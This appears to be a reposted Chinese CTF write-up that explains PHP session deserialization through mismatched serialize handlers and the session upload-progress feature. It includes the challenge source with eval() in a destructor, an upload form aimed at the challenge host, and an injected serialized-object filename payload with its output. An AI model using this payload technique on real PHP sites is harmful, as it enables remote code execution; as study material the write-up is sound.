如何從session角度學習反序列化

蝸牛 互聯網技術資訊 2021-12-17 114 0

本篇文章給大家分享的是有關如何從session角度學習反序列化,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

下面是題目給出的源碼


  1. <?php

  2. ? ?// A webshell is wait for you

  3. ? ?ini_set('session.serialize_handler', 'php');

  4. ? ?session_start();

  5. ? ?class OowoO {

  6. ? ? ? ?public $mdzz;

  7. ? ? ? ?function __construct() {

  8. ? ? ? ? ? ?$this->mdzz = 'phpinfo();';

  9. ? ? ? ?}


  10. ? ? ? ?function __destruct() {

  11. ? ? ? ? ? ?eval($this->mdzz);

  12. ? ? ? ?}

  13. ? ?}

  14. ? ?if(isset($_GET['phpinfo'])) {

  15. ? ? ? ?$m = new OowoO();

  16. ? ?}

  17. ? ?else {

  18. ? ? ? ?highlight_string(file_get_contents( 'index.php'));

  19. ? ?}

  20. ?>


前言

題目直接給出了 phpinfo 信息,作為 CTF 的題來說,一定有其特別的意義。

另外,在實戰中也是重要的信息泄露,

遇到這種情況,可直接拿下來與默認的phpinfo 進行文件對比,或許可以迅速找到突破口。

困境

看到 construct() 和 __destruct() 兩個魔術方法,極有可能是反序列化的題。其中,destruct() 中有

  1. eval($this->mdzz);

如果 $this->mdzz 可控的話,這就是一個明顯的 webshell 了,可惜 mdzz 在構造函數中就限死了,而且這里并沒有變量覆蓋的漏洞,否則也可以打一波,陷入困境。

有這么方便的 eval() 在這里,能不能繞過構造函數,直接執行我們需要的命令呢?

此處必有蹊蹺。

  1. ini_set('session.serialize_handler', 'php');

知識點

1.PHP Session 序列化及反序列化處理器設置使用不當帶來的安全隱患:https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

如何從session角度學習反序列化  session 第1張

phpinfo 中可以看到,PHP 反序列化時可以使用的幾種方法。

平時實驗過程中,也可以用這個語句進行方法指定。

  1. session_start([

  2. ? ?'serialize_handler' => 'php_serialize'

  3. ])

在設置 session 和讀取 session 兩個階段中,若使用了不同的序列化方法,將產生任意對象注入,進而導致反序列化漏洞。


  1. ;





  1. 存儲時使用 php_serialize -->

  2. a:1:{s:4:"test";s:20:"|O:8:"stdClass":0:{}";}




  3. 反序列化使用 php -->

  4. // var_dump($_SESSION);

  5. array(1) {

  6. ? ?["a:1:{s:4:"test";s:20:""]=>

  7. ? ? ? ?object(stdClass)#1 (0) {

  8. ? ?}

  9. }

PHP 獲取到 session 字符串后,就開始查找第一個 |(豎線),用豎線將字符串分割成“鍵名”和“鍵值”, 并對“鍵值”進行反序列化。但如果這次反序列化失敗,就放棄這次解析,再去找下一個豎線,執行同樣的操作,直到成功。

然而到這里還是沒解決 mdzz 不可控的問題,接下來引入第二個知識點。

2.上傳進度支持(Upload progress in sessions)

正常用法參見 example #1:

http://php.net/manual/zh/session.upload-progress.php,配合 Ajax 就能顯示上傳進度。

利用此法可達到對 session 寫入數據的效果,從而使得 $mdzz 可控,可參照 有趣的 php 反序列化總結:

http://www.91ri.org/15925.html

當一個上傳在處理中,同時 post 一個與 ini 設置的 session.uploadprogress.name 同名變量時,php 檢測到這種 post 請求時就會在 $SESSION 中添加一組數據,所以可通過 session.upload_progress 來設置 session。

下面是部分參數說明

session.uploadprogress.enabled[=1] : 是否啟用上傳進度報告(默認開啟)session.uploadprogress.cleanup[=1] : 是否在上傳完成后及時刪除進度數據(默認開啟, 推薦開啟).session.uploadprogress.prefix[=uploadprogress] : 進度數據將存儲在_SESSION[session.uploadprogress.prefix . POST[session.uploadprogress.name]] session.uploadprogress.name[=PHPSESSIONUPLOADPROGRESS] : ?如果 POST[session.uploadprogress.name]沒有被設置, 則不會報告進度.session.uploadprogress.freq[=1%] : 更新進度的頻率(已經處理的字節數), 也支持百分比表示’%’. session.uploadprogress.min_freq[=1.0] : 更新進度的時間間隔(秒級)

回到本題,查看 phpinfo, session.uploadprogress.enabled 打開,并且session.uploadprogress.cleanup關閉。

開干

構造一個表單


<!DOCTYPE html>

<html>

<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />

<input type="file" name="file" />

<input type="submit" value="submit" />

</form>

</body>

</html>

如果不指定,PHP 將默認使用 “php“ 作為 session 序列化的方法,payload 及結果如下:

如何從session角度學習反序列化  session 第2張PS:不用糾結 Content-Type,這個對解題沒有影響,重點是加入\,防止 " 被轉義。


filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"

Array (

[a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";

a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"]?

=> OowoO Object (

[mdzz] => print_r($_SESSION);

)

)

根據 php 手冊,存入 session 里的形式是這樣的,由此看出 field_name 也可以,所以不一定要用 filenam


$_SESSION["upload_progress_123"] = array(

"start_time" => 1234567890, ? // The request time

"content_length" => 57343257, // POST content length

"bytes_processed" => 453489, ?// Amount of bytes received and processed

"done" => false,? ? ? ? ? ? ??

// true when the POST handler has finished, successfully or not

"files" => array(

0 => array(

"field_name" => "file1", ? ? ? // Name of the <input/> field

// The following 3 elements equals those in $_FILES

"name" => "foo.avi",

"tmp_name" => "/tmp/phpxxxxxx",

"error" => 0,

"done" => true,

// True when the POST handler has finished handling this file

"start_time" => 1234567890,?

// When this file has started to be processed

"bytes_processed" => 57343250,?

// Amount of bytes received and processed for this file

)

)

)

拿 flag 的老套路就不多說了,把 mdzz 里的值換成你需要執行的操作即可。

以上就是如何從session角度學習反序列化,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注蝸牛博客行業資訊頻道。

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:niceseo99@gmail.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

評論

日本韩欧美一级A片在线观看